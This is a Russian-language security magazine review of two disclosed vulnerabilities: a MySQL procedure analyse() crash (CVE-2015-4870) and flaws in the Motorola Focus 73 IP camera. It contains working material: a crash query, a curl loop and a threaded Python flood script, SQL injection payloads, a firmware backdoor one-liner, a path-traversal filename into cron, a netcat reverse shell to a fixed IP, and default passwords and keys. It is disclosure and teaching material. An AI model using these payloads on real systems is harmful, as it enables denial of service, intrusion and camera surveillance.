Содержание статьи
В сегодняшнем обзоре мы рассмотрим многочисленные уязвимости в IP-камере Motorola Focus. Помимо дефолтных и слабых паролей, там еще много интересного. К тому же ее прошивка используется и другими производителями, что открывает новые пути исследования. Также разберем DoS-уязвимость и хакерское использование функции procedure analyse() в MySQL.
DoS в функции procedure analyse() из MySQL
CVSSv2
Нет
BRIEF
Дата релиза: 29 мая 2016 года
Автор: @OsandaMalith
CVE: 2015-4870
Автор эксплоита нашел возможность вызвать DoS в MySQL версий до 5.5.45 включительно. В функции procedure analyse()
падение происходит при обработке подзапроса.
Пример вызова функции:
select * from `table_name`
procedure analyse((select*from(select 1)x),1);
Соответственно, PoC будет таким:
select * from information_schema.tables
procedure analyse((select*from(select 1)x),1);
Проверка:
mysql> select * from information_schema.tables procedure analyse((select*from(select 1)x),1);
ERROR 2013 (HY000): Lost connection to MySQL server during query
mysql> select 1;
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
ERROR 2003 (HY000): Can't connect to MySQL server on 'localhost' (10061)
ERROR: Can't connect to the server
mysql>
Другой пример атаки — это запуск полезной нагрузки, которая была сохранена в файл и подана на вход mysql.exe
(он показан на скриншоте ниже).
Если после появления сообщения о падении проверить лог вывода Event Viewer, то ты сможешь увидеть, что приложение mysqld.exe действительно упало. При этом смещение для указателя на ошибку будет равно 0x000607f4
.
Если же мы подконнектимся к процессу с помощью IDA, то сможем увидеть, что падение происходит в структуре TABLE_LIST
из-за поля, которое не было выделено.
EXPLOIT
В качестве тестового стенда автор использовал Damn Vulnerable Web Application (DVWA).
Если атакующий найдет веб-приложение, уязвимое к SQL-инъекции, то он сможет с легкостью провести DoS-атаку, MySQL-сервер перестанет отвечать и все используемые базы данных тоже перестанут быть доступными.
В Windows достаточно простого запроса для вызова падения и, скорее всего, понадобится ручная перезагрузка:
http://localhost/dvwa/vulnerabilities/sqli/?id=1' procedure analyse((select*from(select 1)x),1)-- -&Submit=Submit#
На *nix-системах mysqld автоматически восстанавливается, но если мы пошлем многочисленные GET-запросы с такой полезной нагрузкой, то база данных все равно упадет.
Пример такой атаки с помощью bash-скрипта, который использует cURL для GET-запросов:
while true;
do curl "http://host/?id=1%27%20procedure%20analyse%28%28select*from%28select%201%29x%29,1%29--%20-" > /dev/null 2>&1
done;
Помимо небольшого bash-скрипта, автор написал версию эксплоита на Python:
class DoS(threading.Thread):
def run(self):
print("{0} started!".format(self.getName()))
for i in range(100):
urllib2.urlopen(req)
time.sleep(.2)
print("{0} finished!".format(self.getName()))
...
for i in range(10000):
thread = DoS(name = "[+] Thread-{0}".format(i + 1))
thread.start()
time.sleep(.1)
Исходный код и оригинальную статью автора ты можешь найти в его блоге. Еще автор записал небольшое демонстрационное видео.
Также функция procedure analyse()
может помочь при проведении атаки через SQL-инъекцию. Это позволяет легче определить число колонок. Результат выполнения представлен на скриншоте, где количество выводов равняется количеству колонок.
http://localhost/dvwa/vulnerabilities/sqli/?id=1' procedure analyse()-- -&Submit=Submit#
В примерах атаки, где место для инъекции находится после limit
, ты можешь использовать procedure analyse()
вместе с функциями updatexml
и extractvalue
в качестве подзапросов.
select username,password from users
order by 1 desc
limit 0,1
procedure analyse(updatexml(1,concat(0x7e,(version())),0),1);
select username,password from users
order by 1 desc
limit 0,1
procedure analyse(extractvalue(1,concat(0x7e,database())),1);
TARGETS
MySQL <= 5.5.45.
SOLUTION
Производитель выпустил исправление.
Взлом IP-камеры Motorola Focus 73
CVSSv2
Нет
BRIEF
Дата релиза: 2 февраля 2016 года
Автор: неизвестен
CVE: N/A
IP-камера Motorola Focus 73 содержит в себе немало сюрпризов. Для начала — она произведена не Motorola. Это наружный вариант камер семейства Blink и Motorola IP, произведенных фирмой Binatone. В семейство также входят камеры для слежения за детьми. Эти продукты совместимы с сервисом Hubble, который построен на Amazon EC2, — он позволяет владельцам управлять камерами удаленно, а также получать уведомления о движении. Все это делается через мобильное приложение.
Приложение Hubble доступно во всех популярных магазинах. Для исследования была выбрана версия для Android из магазина Google Play. Приложение связывается с камерами по протоколу STUN.
В ходе первоначальной настройки приложение попросит подключить камеру к сети через кабель или нажать клавишу pair
на самом устройстве. Нажатие переключит камеру в режим хоста и создаст открытую сеть Wi-Fi. Далее приложение будет искать сети с названиями типа CameraHD-(MAC адрес) и предлагать пользователю подключиться к ним.
После того как будет выбрана открытая точка, приложение отправит запросы на веб-сервер Nuvoton, чтобы просканировать сети с помощью команды iwlist. Результаты этого сканирования вернутся в приложение в виде XML-файла, откуда пользователь может выбрать нужную сеть. Затем необходимо ввести свой секретный ключ для выбранной сети Wi-Fi. Он передается в незашифрованном виде через открытую сеть с использованием простой HTTP-аутентификации. Логин и пароль стандартные: camera
и 000000
. Вид самого запроса также не отличается оригинальностью, он составлен из SSID, PSK, логина и пароля. Еще интересно то, что эта HTTP-авторизация унаследована от других продуктов и на деле не используется. Найденные веб-страницы подписаны для MBP2000W (к примеру, /routersetup.html
) и, скорее всего, представляют собой «остатки» предыдущего воплощения устройства как камеры для слежения за детьми.
В публичном доступе прошивки этого устройства нет, но, как нередко бывает, обновление доступно через некий приватный URL. Найти его не составило особого труда.
Автор обнаружил, что прошивка является упакованной файловой системой Linux с названием skyeye
, созданной компанией Cvision. Внутри есть разделы /bin
, /etc
и /lib
, но это не полноценный Linux, а лишь путь, который монтируется камерой в /mnt/skyeye
. Некоторые основные бинарные файлы, такие как BusyBox, сюда не включены. Они принадлежат Nuvoton OS, которая не имеет механизма обновления и содержит в себе бинарные файлы десятилетней давности.
Также внутри были найдены ссылки на скрипты и файлы конфигурации для других моделей камер, что наводит на мысли об универсальности прошивки. Так что, по всей видимости, описанные дальше уязвимости можно будет найти и в них.
Веб-сервер располагается по пути /mnt/skyeye/mlswwwn/
. Он использует скрипты haserl CGI, которые перебрасывают значения из HTTP-формы напрямую в шелл (а в нашем случае еще и с правами root) для выполнения таких функций, как ведение логов или обновление прошивки.
EXPLOIT
Вредоносное обновление прошивки
Два веб-сервера находятся по упомянутому пути /mnt/skyeye/mlswwwn/
и доступны на портах 80 и 8080. Второй сервер — это busybox httpd. Как и нормальный сервер httpd, он ограничивает доступ к специальным исполняемым файлам или скриптам (к примеру, из /cgi-bin
). А вот веб-сервер Nuvoton (возможно, основанный на MJPG) на 80-м порту не имеет таких ограничений, поэтому любой файл, который мы не увидим на порту 8080, мы сможем полностью прочесть на восьмидесятом, включая бинарные файлы ELF. Один из них — это очень интересный haserl-скрипт, он называется haserlupgrade.cgi
. Автор эксплоита обнаружил, что он запускает процесс обновления прошивки. Так как прошивка не зашифрована и не подписана, то мы можем модифицировать ее и добавить измененный haserl-скрипт, который будет содержать небольшой однострочный бэкдор:
<% $FORM_run %>
Модифицированная прошивка может быть загружена через http://(IP):8080/fwupgrade.html
. Затем мы сможем выполнять команды от имени root из браузера:
http://(IP):8080/cgi-bin/script.cgi?run=cat /etc/passwd
Обход директорий и инъекция команд
В описанном выше скрипте haserlupgrade
также была найдена старая добрая уязвимость типа «обход директорий». Скрипт получает на вход упакованный образ с прошивкой и перемещает в спроектированное место вне веб-директории. При этом он даже не проверяет передаваемое имя, так что, к примеру, имена new_firmware.tgz
и ../../../mnt/skyeye/etc/cron/root
будут считаться правильными в обоих случаях. Но при проведении тестов автору не удалось оставить созданный файл в системе — он удалялся после окончания работы скрипта (видимо, так настроен процесс обновления). Хотя при этом можно переписать любой другой неудаляемый файл в системе. К примеру, удаление /bin/busybox
сделает из камеры «кирпич».
После анализа в скрипте было найдено обращение к бинарному файлу с именем fwupgrade
, который автор сразу же загрузил в IDA. Этот исполняемый файл использует имя файла прошивки и сохраняет в /mnt/cache/new_fwupgrade
. Когда fwupgrade
получает прерывания SIGUSR1
, он читает 128 байт из файла new_fwupgrade
, использует их в имени прошивки и затем вызывает shell-скрипт для обновления ПО. После завершения скрипт удаляет файл.
Так как считывается 128 байт и проверок нет, можно сделать очень большое имя файла, чтобы процесс обновления упал. В результате загруженный файл не будет удален.
Чтобы превысить 128 байт, автор сделал имя файла с хождением туда и обратно по директориям и с переходом в cron
в конце. Оттуда задания считываются и выполняются каждую минуту.
../../../mnt/skyeye/mlswwwn/../../../mnt/skyeye/mlswwwn/../../../mnt/skyeye/mlswwwn/../../../mnt/skyeye/mlswwwn/../../../mnt/skyeye/etc/cron/root
В качестве задания — открытие шелла каждую минуту:
/bin/busybox nc 10.45.3.100 1664 -e /bin/sh
После получения шелла были вытащены хеши из файла /etc/shadow
, а после перебора с помощью John the ripper
обнаружилось, что пароль root — 123456
. Еще был найден пароль от Wi-Fi, сохраненный открытым текстом в /tmp/wpa.conf
, а также заводские настройки сетей Cvision (они используются для настройки после сброса памяти устройства).
Помимо этого, на устройстве запущено несколько интересных опенсорсных утилит, которые, если верить сайту Nuvoton, делают разработку более гибкой. Сервис на 80-м порту похож на MJPG, но имеет дополнительные функции для удаленного управления.
Если запустить команду ps
, то мы увидим большое количество потоков для исполняемого файла msloader
— он является чем-то вроде функционального центра устройства. И судя по тому, что cron запускает задания каждую минуту, такое количество потоков вызывает утечку памяти. Разработчики решили проблемы довольно бесхитростно: еще одной задачей в cron, которая перезапускает устройство ранним утром. Как пишет автор, он не хочет приводить это время, чтобы злоумышленники тоже спали :).
На этом сюрпризы не кончились. Логи на устройстве содержат много важной информации, в том числе и ключ AES для удаленного управления сообщениями STUN, а также данные аккаунта FTP, который используется для хранения видео. Сообщения об ошибках подтвердили предположение о том, что применяется библиотека PJNATH, поэтому при анализе протокола STUN автор использовал доступные исходники.
Интересные логи можно скачать через веб-интерфейс, но сначала они шифруются с использованием исполняемого файла /bin/crypto
. Этот файл использует Linux crypto API с зашитым ключом AES: Cvision123459876
. Это означает, что любой может сдампить логи с устройства, используя скрипт host:8080/cgi-bin/logdownload.cgi
Смотрим за подсматривающими
Если атакующий сможет получить доступ к устройству, то сможет и переопределить конфигурацию DNS в файле /etc/resolv.conf
. Для этого, к примеру, можно отправить через наш сервер запросы на upload1.hubble.in
(сервис для хранения изображений). Это позволяет получать уведомления о появлении движения не только в виде JPEG, но и в виде клипов FLV, которые обычно доступны только платным клиентам Hubble. Эти данные отправляются в незашифрованном в виде вместе с запросами POST к /v1/uploads/snap.json
или /v1/uploads/clip.json
. Они могут отстукивать, к примеру, на PHP-скрипт, который будет сохранять данные.
Автор записал демонстрационное видео, которое опубликовал в своем блоге, где ты также можешь ознакомиться с оригинальной статьей и узнать об этих камерах более подробно.
TARGETS
Motorola Focus 73 Firmware 1.17.26–1.19.14.
SOLUTION
Производитель выпустил исправление (1.19.26).